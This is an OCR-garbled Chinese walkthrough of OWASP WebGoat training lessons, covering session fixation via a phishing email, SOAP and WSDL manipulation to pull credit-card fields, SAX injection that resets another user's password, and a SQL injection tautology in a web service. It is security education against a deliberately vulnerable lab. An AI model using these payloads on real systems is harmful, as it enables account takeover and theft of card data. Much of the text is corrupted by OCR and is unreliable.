Prowe-Caonnection keep-Alive
Content-length 3T _| Delete
Host neo
Fragma no-cache
Cookie B23I6IAB094B260: AuthCookie=E5432fd]mkb
Authorization Basic Z3cI0EL3V c30= -
o A nn R AR AR R R R R R R R R R R R S R A R R e R R T R T R R R R A R A R R R T R R R R R R R R R R e R R R R R R R R R R R N R R R R R R R A R R R R R R R R AR R R R R R R AR R R
URLEncoded | Text | Hex |
Yariable Walue
lzername alice Insert
Password
SUBMIT Login Delete
O Yo
Accept changes Cancel changes Abort request Cancel ALL intercepts

SR RRAMANEN, WALl alice #ATE R 1.
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Solution VideosLogin using the webgoat/webgoat account to see what Restart this Lesson
happens. You may also try aspect/aspect. When you
understand the authentication cookie, try changing vour identity to alice.

* Congratulations. You have successfully completed this lesson.

Welcome, alice

You have been authenticated with COOKIE

Logout

Refrezh

ASPECT

|pplication Security Special

OWASP Foundation | Project WebGoat | Report Bug

2.17.3£1EEE (Session Fixation)

2.17.3.1 #HAREZRLEM (Concept / Topic To Teach)

JH I 216 [ 5E 75 B Session.

2.17.3.2 FAKRIEIE (How It works)

IR 5% %38 ik A F P O ME— 4 Session 1D SREfIAFL A1k tE. WS P B8, HHAZR
M AN BT I AEFZ AU, 244t EE T B N RGN, At Session 1D AR N EER
E—YEFR 7, TIRE<7E GET-REQUEST iR Hi /& Session ID. i il 2 Bohi A 5

— AN AT U — ANk 5E (1) Session ID 4452 % N R iE—ANsER: . flin, RBEA—
HER AT IR, & B R RAZ AR — AN S P2 738 B 03 R R B 7 A o SR A2 53 i 11X
MERE, JFHZZHEEDBGEHEIREM ID B3 T 25 WABEE AT UL E S H
552 FHHF 1D Vi ili% T

2.17.3.3 Z{xH#r (General Goals)

AHREAZ PR, EBFEFRNEBGEEMZEEN DA, BRIZRER, S/
PR v ] 0 SR B[R IR B AR F GET 5 k4% Session 1D J& MM 250!
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2.17.3.4 ¥{EFH’% (Solutions)

F—: 45 Jane KIE—HHEME, XAMHREEERIZ 2 Goat Hills Financial & k6L
—A™ Session ID [MEEE:. HEAFCAHERLT T, A TELEERE T I —A> Session ID. #&AJ
DL ) 5 4% I\ &SID=WHATEVER. 458 WHATEVER F] LA H A 7R o 1X Az
AT DL X

<a href=http://localhost:8080/WebGoat/attack?Screen=46&menu=320&SID=WHATEVER>

Solution VideosSTAGE 1: You are Hacker Joe and you want to steal Restart this Lesson
the session from Jane. Send a prepared email to the

victim which looks like an official email from the bank. A template message is prepared

!:IEIID';;, vou will need to add a Session ID (SID) in the link inside the email. Alter the link to

include a S10.

You are: Hacker Joe

Mail To: jane.plane@owasp.org

Mail From: admin@webgoatfinancial.com

Title: Check your account

<b>Dear M3. Plane</b> <br><brrDuring the last week we had a few -

problem=s with our database. We have received many complaints
regarding incorrect account details. Please use the following link
to werify vour account data:<bri><bri><center><a
href=http://localhost/WebGoat/attack?
5creen=16&rr.en'1=1?oow} Goat Hills &
Financial</a»</center><br><br>We are sorry for the any

inconvenience and thank yvou for your cooparation.<br><br><b>Your -

m

Created by: Reto Lippuner, Marcel
Wirth

RATHE R IRAS, H—B ek

Solution VideosSTAGE 2: Now you are the victim Jane who received Restart this Lesson
the email below. If yvou point on the link with vour
mouse you will see that there 1= a SID included. Click an it to see what happens.

You are: Victim Jane

* ¥You completed stage 1!

Mail From: admin@webgoatfinancial.com

Dear M5. Plane

Curing the last week we had a few problems with our database. We have received many
complaints regarding incarrect account details. Please use the following link to verify vour
account data:

Goat Hille Financial

We are sorry for the any inconvenience and thank vou for vour cooparation.

Your Goat Hills Financial Team

Bk BEERRE B PRE N Jane. X B R, SR FEE S “Goat Hills
Financial” .
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Mall From: adminBwebgoatfinancial. com

Dear M5. Plane

During the last weak we had a few problems with aur database. A lot of peaple complained
that there account details are wrong. That is why we kindly ask you to use following link to
werfy wour data;

|Goat Hills Fanancial]

We are sorry for the cawsesd inconvenience and thank you for youwr colaboratian.

Your Goat Hills Financial Team

¢, Goat Hilis Financlal

B=. BEZKF T “Goat Hills Financial” BB RXFAM . LA Jane/tarzan B3,
Solution VideosSTAGE 3: The bank has asked you to verfy vour data. Restart this Lesson
Log in to see if your details are correct. Your user
name is Jane and your password is tarzan.

You are: Vickim Jane

* You completed stage 21

“ Goat Hills Financial

i#  Human Resources
[ A |

(4

Please Login

Enter yvour name: Jane

Enter your password: ------|

Login
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Solution VideosSTAGE 4: It is time to steal the session now. Use Restart this Lesson
following link to reach Goat Hills Financial.

You are: Hacker Joe

* ¥You completed stage 3!

Jane has logged into her account. Go and grab her session! Use Following link to reach the login
screen of the bank:

Gaat Hills Financial

Created by: Reto Lippuner, Marcel
Wirth

OWASP Foundation | Project WebGoat | Report Bug

UL REEREREE Joe. DA —MERITFHEETE, B EETXE] “Goat Hills
Financial” TUH, MATEISEH, XSBHLAFE, EREESENEESTERER SID 2
“NOVALIDSESSION” , #ixA™ ID 2l “WHATEVER” , #RJG[EIZE,

17008510 WHATEVER

Session Fixation

Salution VideosSTAGE 4: . Use Restart this Lesson
olowing Ik 1o raech Soat e Francil.

You are: Hacker Joe

“ Goat Hills Financial

I#  Human Resources

Crented by: Reta Lippuner, Marce!
Wirth
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Solution VideosSTAGE 4: It iz time to steal the seszion now. Use Restart this Lesson
following link to reach Goat Hills Financial.
You are: Hacker Joe

* Congratulations. You have successfully completed this lesson.

“  Goat Hills Financial

L
; Human Resources
L Ul
Firstname: Jane
Lastname: Flane
Credit Card Type: MC

Credit Card Number: 74539364

Logout

JRIIVT R E, B ARREE

2.18 Web 55 (Web Services)
2.18.161% SOAP 15K (Create a SOAP Request)

2.18.1.1 FARBEAKER (Concept / Topic To Teach)

Web Services i /¥ A SOAP i R iFHATIHE « XAGF KRB B — P ZRAPAT— Web IR
ZAHIRTE S (WSDL) & X KR Web RS . ibFRATT—E k2% > — 385 WSDL )30
#E— T WebGoat ) WSDL 1.
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2.18.1.2 FAK[EIE (How It works)

SOAP @I FEH, HTTP Content 34— & XML N % .

2.18.1.3 SE{xB#fx (General Goals)

SR W R A5 5 WebService T.JHi%#2 WSDL. WebService [ URL Huhik /2

http://localhost:8080/WebGoat/services/SoapRequest

WSDL I8 5 Al # N TE web AR S51H R &5 AL NN —> WSDL. i T B “WebGoat
WSDL”, BYE7E b i =K s i in b “?wsbpL” BT,

http://localhost:8080/WebGoat/services/SoapRequest?WSDL

SRR AL () SOAP #RAEIE K LS8 BA T IR IE -

2.18.1.4 #{E5% (Solutions)

F—A, BATER B wsDL H15E LT JUAMEME. Uila) “WebGoat WSDL” ) URL &F&
Webservices i & &= A,

Coogle | v reatas o o = g [ = | 0 Sectmurtae ttnies T Ches » y dded o iz A vesmhan | s J v
[rsstin o oo . Al a3 lj

- 5
B g e Mg S A PR o - R L T

T = getCreditCardRequest”
Uy = weiting

‘getCreditCardiesponss”
et CraditCardReturn’ [yos="xsd:string” />

b
i thirs - m—
CimplgeiFirstiomeRiesponse” oo < geiFirstinmeResponse”

[ S ocs rtnaem o -

BEN WSDL ORI, W AE B —3A A £ FHRA 4, BEANT D
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- «wsdl:portType name="SoapRequest">
- «<wsdl:operation name="getFirstName" parameterOrder="id">
<wsdl:input message="impl:getFirstNameRequest" name="getFirstNameRequest" />
<wsdl:output message="impl:getFirstNameResponse" name="getFirstNameResponse" />
</wsdl:operation=
- «wsdl:operation name="getLastName" parameterOrder="id">
<wsdl:input message="impl:getLastNameRequest" name="getLastNameRequest" />
<wsdl:output message="impl:getLastNameResponse" name="getLastNameResponse" />
</wsdl:operation=
- =wsdl:operation name="getCreditCard" parameterOrder="id"=
<wsdl:input message="impl:getCreditCardRequest’ name="getCreditCardRequest" /=
<wsdl:output message="impl:getCreditCardResponse" name="getCreditCardResponse" />
</wsdl:operation=
- «wsdl:operation name="getLoginCount" parameterOrder="id">
<wsdl:input message="impl:getLoginCountRequest" name="getLoginCountRequest" /=
<wsdl:output message="impl:getLoginCountResponse" name="getLoginCountResponse" /=
</wsdl:operation=>
<fwsdl:portType=

BAEBRA TR B A& ) A @ TE “getFirstNameRequest” H1 “id” MIRALEAT 4

Solution VideosWeb Services communicate through the use of SOAP Restart this Lesson
requests. These requests are submitted to a web

service in an attempt to execute a function defined in the web service definition language

{WSDL). Let's learn something about WSDL files. Check out WebGoat's web service

description language (WSDL) file.

General Goal(s):
Try connecting to the WSDL with a browser or Web Service tool. The URL for the web service

is: http://localhost/WebGoat/services/SoapRequest The WSDL can usually be viewed by
adding a ?W3SDL on the end of the web service request.

* Stage 1 completed.

Mow, what is the type of the (id) parameter in the Submit

"getFirstNameRequest” method:

View the following WSDL and count available aperations:
webGoat WSDL File

OWASP Foundation | Project WebGoat | Report Bug

MEIRATEAE S|, %52 “int” . WAREAH=D.
- «=wsdl:message name="getFirstNameRequest">
zwsdl:part name="id" type="xsd:int" />
</wsdl:message>

SEREE b
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Solution VideosWeb Services communicate through the use of SOAP Restart this Lesson
requests. These requests are submitted to a web

zervice in an attempt to execute a function defined in the web service definition language

{(WsDL). Let's learn something about WSDL files. Check out WebGoat's web service

description language (WSDL) file.

General Goal(s):

Try connecting to the WSDL with a browser or Web Service tool. The URL for the web service
iz: http://localhost/WebGoat/services/SoapRequest The WSDL can usually be viewed by
adding a ?WSDL on the end of the web service request.

Stage 2 completed.

Intercept the request and invoke any method by sending a valid SOAP request for a valid
account.

Press to generate an HTTP request

WebGoat WSDL File

OWASP Foundation | Project WebGeoat | Report Bug

BEGH R IFH AR I, KiE— A% SOAP (& Bt G5 18 Bhisl) 17 3R BG4 i
Fo
JE 3l WebScarab, Hiff “Intercept requests” “Intercept responses” ik

POST ££J3: POST http://localhost:8080/WebGoat/services/SoapRequest HTTP/1.1

Content—Type BN text/xml
EE HTTP Content MY, H/a#a\in .

POST http://webgoatvm/WebGoat/services/SoapRequest HTTP/1.1
Host: webgoatvm

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Proxy-Connection: keep-alive

Referer: http://webgoatvm/WebGoat/attack?Screen=171&menu=1900
Cookie: JSESSIONID=095FE3EEEOBBFAG63E32D2D961F19911A
Authorization: Basic Z3VIc3Q62Z3VIc3Q=

Content-Type: text/xml

SOAPAction:

Content-length: 40

<?xml version="1.0" encoding="UTF-8"?>

<SOAP-ENV:Envelope xmins:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmins:xsd="http://www.w3.0rg/2001/XMLSchema"
xmins:xsi="http://www.w3.0rg/2001/XMLSchema-instance">

<SOAP-ENV:Body>

<nsl:getFirstName SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:ns1="http://lessons">

<id xsi:type="xsd:int">101</id>

</nsl:getFirstName>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>
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M SOAPAction Sk FIFTIFI XML FRICZ I A RER S, X —mAFW EE, Hll&5k—
MRE R .

. Edit Request LEE

Intercept requests : (v Intercept responses : [

| Parsed | Raw |
POST hitp Mecalhosl BRB0Mwebgoatisanices/SoapRequest HTTRY |
[Host localhost: 8080

Lser-Agant Moziliais 0 (Windows NT 5.1, ne5.0) Gecko/20100101 Firefor’5.0
Accept textihtmil applicationfdibmil=omi applicationimig=09 " q=0.8
Aooept-Language; en-us eng=05

Aorept-Encoding gip, deflate

ocapl-Charset ISO-4859-1.u-8.0=0.7.q=07

[Proxy-Connection: keep-alhve

Referer hitp:iocainost :8080Mwe bgoatiattack?Screen=408menu= 1900
Cookie: JSESSIONID=DF EGEACCECDOIECTE10B1ATEDSTAFBES
Authonzation; Basic Z3Vic206Z3Vic30=

Conbent-Type; bexdiom|

Cantant-length: 40 |
[SOAP Action

[SUBMIT=Prass+to+ganarate+an+ HT TP +requast

=%l version="1.0" encoding="UTF-8"%»

[<S0AP-ENV Envelope xming S0AR-ENV ="hitp ¥ chemas xm|soap orgragapiemelope”
eming xsd="hiltp Hwww. w orgf2001/XMLSchema®
omins cesi=Thitp:Mwww. w3 orgi2001XMLSchema-instance™

«S0AP-ENV. Body=

_L

<ng 1.geiFirsiilame SOAP-ERV.ancodingStle="niip.Fschemas xmizsoap orgisoapiencoding™ xmins.ns1="niip Messons™

<id x5l ype=wsdinr=101<Ad»

=

-

Accept changes [ Cancel changes i Abortrequest | | CancelALL imtercepts |

5 SOAP Z ¥ 5 31 HTTP request, MR &2 Joeo

W

.Parsed rRaw |

Version Status Message
HTTPH A 200 [o]%¢

Header Value
Date Tue, 23 Oct 2012 09:24:58 GMT
Sernver Apache-Coyote/1.1
Content-Type textikml;charset=utf-2
via 1.1 owaspbwa.localdomain
vary Accept-Encoding
[errr——— :
aw...

gt [’Text [ Hex |

[ <soapenv:Envelope xmlns:soapenv="http://schemas. xmlsoap. orgfzoap/envelope/” xmlns xsd="http://www. w3. or g/2001/INLSchema” xmln
9 [ <soapenw Body
? |j “nsl:getFirstllameResponse soapenv: encodingStyle="http://schemas. xmlsoap. orgfsoap/encoding/” xmlns nsl="http://lessons""
T [ <getFirstNameReturn xsi:type="xsd: string”>

oe

HEE VL FEE, {#F#1) Operation: getlLastName.

POST http://webgoatvm/WebGoat/services/SoapRequest HTTP/1.1
Host: webgoatvm

User-Agent: Mozillas5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101
Firefox/16.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;9=0.8
Accept-Language: zh-cn,zh;g=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Proxy-Connection: keep-alive

Referer: http://webgoatvm/WebGoat/attack?Screen=171&menu=1900

Cookie: JSESSIONID=095FE3EEEOBBFA63E32D2D961F19911A

Authorization: Basic Z3VI1c3Q6Z3VIc3Q=

Content-Type: text/xml

SOAPAction:

Content-length: 40

<?xml version="1.0" encoding="UTF-8"?>

<SOAP-ENV:Envelope
xmIns :SOAP-ENV=""http://schemas.xmlsoap.org/soap/envelope/"

xmIns:xsd="http://www.w3.0rg/2001/XMLSchema*
xmIns:xsi="http://www.w3.0rg/2001/XMLSchema-instance'>
<SOAP-ENV:Body>

<nsl:getLastName
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmIns:nsl="http://lessons'>

<id xsi:type="xsd:int'">101</id>
</nsl:getLastName>
</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

IR [91{5 B 7 LastName SN Snow.
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irver Apaﬁhe-Coyoteﬂ A
ntent-Type texthoml charset=utf-a
E] 1.1 owasphbwa.localdomain
Iy Accept-Encoding
ntont To dinn orin

XKML | Text rHex |

] <zoapenv:Envelope xmlns: soapenv="http://schemas. xmlsoap. org/soap/envelope/” xmlns:xsd="http://www. w3 org/2001/IMLSchema” xmlns xsi="http://w
[ <zoapenv:Body>
LS |j ‘nsl:getlastlameResponse soapenv encodingStyle="http://schemas. xmlsoap. orgfsoap/encoding/” xnlns nsl="http://lessons">
¢ ﬁ <getLastlameReturn x=i:type="xsd string”>

D Snow

JRUHT A AU, e AR T TR

2.18.2WSDL #3#H (WSDL Scanning)

2.18.2.1 #HARMRLEM (Concept / Topic To Teach)

Web Services 1l /# A SOAP i RiHATIH S . IXAMF R B — 2= PAT— Web IR
FRIES (WSDL) 52 X HIBRE Web RS . 1EFRATT—E R 24> — 385 F WSDL 13
E— F WebGoat [) WSDL X1

2.18.2.2 FAKIEIE (How It works)

¥
2.18.2.3 S {xH#r (General Goals)

AT 2 Web Service ] APl #1F WSDL 3, FFa2uGRICE PRI EFE R, w: EH
5.
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Solution Videos Restart this Lesson

Web Services communicate through the use of SOAP requests. These requests are submitted

to a web sarvice in an attempt to execute a function defined in the wab service dafinition
language (WSDL) file.

General Goal(s):

This screen is the API for a web service. Check the WSDL file for this web service and try to

get some customer credit numbers.

Enter your account number: 101

First Name ~
Last Name
Login Count

| Submit

View the web services definition language (WSDL) to see the complete API:

R el
wWebGoat WSDL File

Select the fields to return:

2.18.2.4 #{E5% (Solutions)

Ja %) WebScarab, fFEi&E#H)G SRR

Solution VideosWeb Services communicate through the use of SOAP Restart this Lesson
requests. These reguests are submitted to a web

service in an attempt to execute a function defined in the web service definition language

(WsDL) file.

General Goal(s):

Thiz screen is the API for a web zervice. Check the WSDL file for this web =ervice and try to
get some customer credit numbers.

Enter your account number: 101

First Name __|

Select the fields to return: 22l

Login Count

View the web services definition language (WSDL) to see the complete API:
WebGoat WSDL File

By Alex Smolen .

OWASP Foundation | Project WebGoat | Report Bug

{#i F WebScarab #i3kiE R, FH¥HAH “field=getLastName” BN “field=

getCreditCard”
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[ "

P — ] Concel ALL inicepts

Rii“Accept Changes” #2220, IR [Fl{E B BLAESE B getCreditCard FEBIE B .

Solution VideosWeb Services communicate through the use of SOAP Restart this Lesson
reguests. These requests are submitted to a web

service in an attempt to execute a function defined in the web service definition language

(WsDL) file.

General Goal(s):
This screen is the API for a web service. Check the WSDL file for this web service and try to
get some customer credit numbers.

* Congratulations. You have successfully completed this lesson.

Enter your account number: 101

First Name
Last Name
Login Count

Select the fields to return:

getCreditCard
257654321

View the web services definition language (W3SDL) to see the complete API:
WebGoat WSDL File

By Alex Smolen

2.18.3Web Service SAX ;¥ (Web Service SAX Injection)

2.18.3.1 #HARMRLEM (Concept / Topic To Teach)

Web Services 1 /# A SOAP i RiHATIH S . XAFRIBRZ B — P ZR X PAT— Web IR
FHRIES (WSDL) 52 X HIBR U Web RS . 1EFRATT—E R 242 — 385 F WSDL H) 3.
E— F WebGoat [) WSDL 14
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2.18.3.2 FAK[EIE (How It works)

x

2.18.3.3 Z{xB#fx (General Goals)

H L Web FHHITE 5 & 14 Web Services. 15 /iy i AT A i NI UE AR5t Web Services,
A E A RES IR Web FHTHT R IEBHE HI XML N2 .
AR, BREBKR T H 7 101 DA A —AH P R,

Solution Videos Restart this Lesson

Web Services communicate through the use of SOAP requests. These requests are submitted
to a web service in an attempt to execute a function defined in the web service definition
language (WSDL) file.

General Goal(s):

This screen is the API for a web service. Check the WSDL file for this web service and try to
get some customer credit numbers.

Enter your account number: 101
First Neme ~|
Last Name

Select the fields to return: 7
Login Count

Submit |

View_l.he web senflces definition language (W5DL) to see the complete API:

2.18.3.4 #{E5’% (Solutions)

SAX fEHT 48 S AENTATAT A SIE 1 XML SCF, Bilin: TRECEIA AR E TS M & 7
SRIVCHIER . JIEAEA R XML U ITET changePAssword JTE Y, R id Al
password ZEARICERIEMf, HBAMENT 2K IR R B A I BB — A userid Y.

TE AL U1 [ % A HE s N — N0, JTJ5 WebScarab.
mdh “Go!” fREHIRACE R, 1E WebScarab F2A1H K B XML X4, 7E password
JiIﬁFP A S ARAS :

newpassword</password>
</wsnsl:changePassword>
<wsnsl:changePassword>
<id xsi:type="xsd:int'>102</id>
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<password xsi:type="xsd:string'>notforyoutoknow

B € i 58 BOZ R EE -

Solution VideosWeb Services communicate through the use of SOAP Restart this Lesson
requests. These requests are submitted to a web

service in an attempt to execute a function defined in the web service definition language

(WSDL) file.

General Goal(s):

Some web interfaces make use of Web Services in the background. If the frontend relies on
the web service for all input validation, it may be possible to corrupt the XML that the web
interface sends.

In this exercise, try to change the passwaord for a user other than 101.

* Congratulations. You have successfully completed this lesson.

Flease change your password: Gol

<?xml wersion='1l.0"' encoding="UTF-8'7?>
<wsnsl:Envelope
mmlns:xsi="http:// vww_w3.ocrg/2001/¥MLSchema-instance '
amlns:xsd="http:// /vww_w3 . org/2001/EMLSchems "
xmlns:wsnsl="http://schemas.xmlscap.crg/scap/envelope/"
xmlns:wsnsl="http://lessons.webgoat.owasp.crg'>
<wansl:Body>
<wansl:changePasswords>
<id ®si:type="xsd:int'>101l</id>
<password xsi:type="xsd:string'rnewpassword</password» </wsnsl:changePa
sswordr» <wsnsl:changePassword> <id xsi:type="unsd:int'»>1l0Z</id> <password xsi
type="xsd:string'rnotforyoutoknows /passwords
</wansl:changePassword>
</wana0:Body>
</wans0:Envelope>

You have changed the passsword for userid 102 to 'notforyoutoknow’

2.18.4Web Service SQL ¥ N\ (Web Service SQL Injection)

2.18.4.1 FARMEAKERR (Concept / Topic To Teach)

Web Services Bt {§i ] SOAP &K AT (E « IXAME R IZZ B — 2R AT — 4 Web I
FHIRIET (WSDL) 78 IR Web RS, 1EFRATT—HE R 2422 —283kF WSDL 130
E— K WebGoat ] WSDL X 44,

2.18.4.2 FAKR[E¥E (How It works)
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2.18.4.3 Z{xH#r (General Goals)

#H WSDL S, il SR N5 M5 H R K o 78 Bt EJEi57E B3R 0l il
FERMAZURIEIG, BRI, MR e ek il AR ik

Web Services communicate through the use of SOAP requests. These requests are submitted
to a web service in an attempt to execute a function defined in the web service definition
language (WSDL) file.

General Goal(s):

Check the web service de=scription language (WSDL) file and try to obtain multiple customer

credit card numbers. You will not see the results returned to this screen. When you believe
wou have suceeded, refresh the page and look for the 'green star’.

Enter your Account Number: 101 Go!

SELECT * FROM user_data WHERE userid = 101

[USERID|[FIRST_NAME [LAST_NAME [CC_NUMBER |[CC_TYPE [COOKIE [LOGIN_COUNT
[101 [10e [Snow [o87654321 [visa [ [o
[1o1 [10e [Snow [2234200065411|[MC [ [o

Exploit the following WSDL to access sensitive data:
WebGoat WSDL File

By Alex SLPARASOFT
e L=l ot make software work |

2.18.4.4 #{EF’%E (Solutions)

ZRFE T L@ 8 Web JRZ% T.H SOAPUI B Fafi v, 1% BLFRATI% B WebScarab. it
A ZFl Web Services, &2F 2—AN1HE Web R4S 8% WSDL Jj 52 3044 .

B, FLUim—IRAMFER WSDL SCAF: http://webgoatvm/WebGoat/services/WsSq
1Injection?WSDL

Solution VideosWeb Services communicate through the use of SOAP Restart this Lesson
requests, These requests are submitted to a web

service in an attempt to execute a function defined in the web service definition lanquage

(wsDL) file.

General Goal(s):
Check the web service description language (WSDL) file and try to obtain multiple customer

credit card numbers. You will not see the results returned to this screen. When you believe
vou have suceeded, refresh the page and look for the 'green star'.

Enter your Account Number: 101 Gol
SELECT * FROM user data WHERE userid = 101

USERID FIRST_MAME LAST_NAME CC_MUMBER |CC_TYPE COOKIE LOGIN_COUNT
101 loe Snow 987654321 VISA 0
101 Joe Snow 2234200065411 MC 0

Exploit the following WSDL to access sensitive data:
WebGoat WSDL File

By Alex Smolen .

7E WebScarab #, f&A] LTI R HAEH % $E WSDL. WebScarab K gt XML ST, Fr
PLIE AT DL B B8 . ARG IE AT DU N — N H IS 8UE . 78 “vaule” #i N 1 or 1=1,
BT, S5 — AN AR SR IEAE, S H ' 4 guest, %Y guest, 2R 5 £ 0K, fi“Execute”,
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BIviR A A 45 5. kg, nfLLE WebScarab ff] ““Tools” > “Credentials”” 1
WF, WFEEETD “Ask when required” . (FESFTIF WSDL X, HiHELE WebScarab

] WebServices FERIMENEINAE T - )
Enter your credentials to access this web site

i@ Basic ) Domain

Host (localhiost. |
Realm WebGoat Application

Username |guest

Password ”“"”’|

Cancel 0Ok

it value, WEEUEN 1 or 1=1, B [execute] HAHIRZEHE. FiBME, B
EFEZANRIIEHRER, THRARRE.

o WebScarab
[l View Jouols feip
Sunnary | Mossages | Proxy |

wsoL: stooo

[ASOL Uk 2

[E== o =

| Spader | | MSSCRLF nalysls | Scripted | Fragments | Fuzier | Comparn | Search
200

oK

Korvice: | WeSaimpectinnsandcs
{oparation:  gutcredncard

Hode Type Hellatle Valug

o
Tori=y

......

B IAnache-Conosat 1
e et chassulttd

e 3011 051450 GMT | |

3, or g/ 2004/ TS chanaminstance™ |-

2.18.4.4.1 i AR

RGO ERA R B AR T SN, BOGE I 437 3 B ICEDBT 4% service A1 operation. £t
U B IR Rk — AN JEUUR K SOAP 13K

2.18.4.5 S{XxH#r (General Goals)
ARATRFEFE B P AEBAF LT R
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2.18.4.6 ¥{EF’% (Solutions)

N rotl3 Ja, TEE ARG S RAIAE S

ik Y5t AR
Base64 Zwfid e —Fh i gwmid, H+% | cm9OMTM= u

B Ascll 755, FATHIEITEN 7R/,

HEE R 2R,

S AA G R fef P R SR 10 5 1 G &amp; 7 A | rotl3 rot13
TRTAF, IXRERT AR 151X S 1 AR

HFHAME (PBE) , R#KHICA | 8fahJh9R82A= A 7
ERGINE . BB EMRE .

MD5 4 75 & — A1) DL SR IE— AN 7455 | Jdc1COADL9kz0dcV/UelcA== | N/A
ARG, BAAAEE, Bk

B YRR RGFEFRRTET. BFHR

IneE g s, ST Dk, wr LU

SHA-256.

G —mhg AT WH AT
gt — %t rot13 rot13
7S Bk A R R B FE R A T FE e | %72%6F%74%31%33 TR AR N
%XX # 2. fEZEA)
ROT13 & —Fpfli SCARH i/ vk, (Hi2 | ebgl3 rot13
CBIRBE AR, HRE 2RI,

XOR 0 gmid & —MiEI8 1IN H %, & | NQAbULY=

R A ERE .

KL — Yhth WA AT A AT
XX URL Zmhd rot13 rot13

2.19 EIEI1hE (Admin Functions)

2.19.1 5K (Report Card)

ASTUI I 1 7 2 2J 30 B R FARAS 54

F

5,
S

(il

o
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String SQL Injection Y 3 ]
Comments and suggestions are welcome. webgoat@owasp.org
. Modify Data with SQL Injection N 0 0
Results for: guest (dd Data with SGL Injection N o | o
Lesson Complebel \-"ls'rtsl Hints Database Backdoors N 0 0
Normal user lessons Blind Numeric SQL Injection Y 5 0
. - - —
How to work with WebGoat Y 224 0 z'"_d ?t:r: = ”“:”It. = . ‘: T
= enial of Service from Multiple Logins
Tomcat Configuration N Q 0 Insecure Login N 0 ]
Useful Tools N Q 0 Forced Browsing Y 1 0
How to create a Lesson N o | o Enocing Besics U 2Lz
- Malicious File Execution Y 1 0
Prail N 0 0 Bypass HTML Field Restrictions N 1] 0
HTTP Splitting N Q Q Exploit Hidden Fields N 2 1
Using an Access Control Matrix N Q [1] Exploit Unchecked Email N 0 0
BYP!SS a Path Based Access Control Scheme N 0 0 Bypass Client Side JavaScript Validation N i) 0
Hijack a Session N 3 0
= RD|:dEQSed Control N 0 o Spoof an Authentication Cookie N 2 0
Remote Admin Access N 0 0 Session Fixation N 0 0
Same Origin Policy Protection N 0 0 Create a SOAP Request Y 3 0
LAB: DOM-Based cross-site scripting N 0|0 VS Escanming = 2|
- . 5 Web Service SAX Injection N o 1]
LAB: Client Side Filtering N 0 0
DOM Injection N olo Report Card N o | o
XML Injection N 0 0 The CHALLENGE! N o | o
JSON Injection N 0 0 _ Hackable Admin Screens
Tent T T e N 0 0 User Information N 0 0
Sile IEIERCONE Product Information N 0 0
Dangerous Use of Eval N 0 0 Adhoc Query N 0 0
Insecure Client Storage N [1] [1] Actual Admin Screens
Summary Report Card N o I ]
Password Strength N 0 0
— "g — — - Refresh Database | '~ o | o

2.20 Ptk (Challenge)

2.20.13kk% (The CHALLENGE!)

2.20.

1.1

2{&xB#5r (General Goals)

TEIAT 55 IR B Oy B0 UF 7 28, SR P b Hs BB AR RS L -RAB S, SR G BRI AN
18 7 R IS AE AR 2= B HOR . BRI £ 702 “webgoat_challenge_guest.jsp” 71
18

X
KT &R ARG WRELBAHKS, EEH OWASP admin FIH.
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Solution Videos Restart this Lesson

Your mission is to break the authentication scheme, steal all the credit cards from the database,
and then deface the website. You will have to use many of the technigues you have learned in the
other lessons. The main webpage to deface for this site is 'webgoat_challenge_guest.jsp’

* Invalid login

Sign In

Please sign in to your account. See the OWASP admin if you do not have an
account.

*Required Fields

*User Name:

*Password:

OWASP Foundation | Project WebGoat | Report Bug
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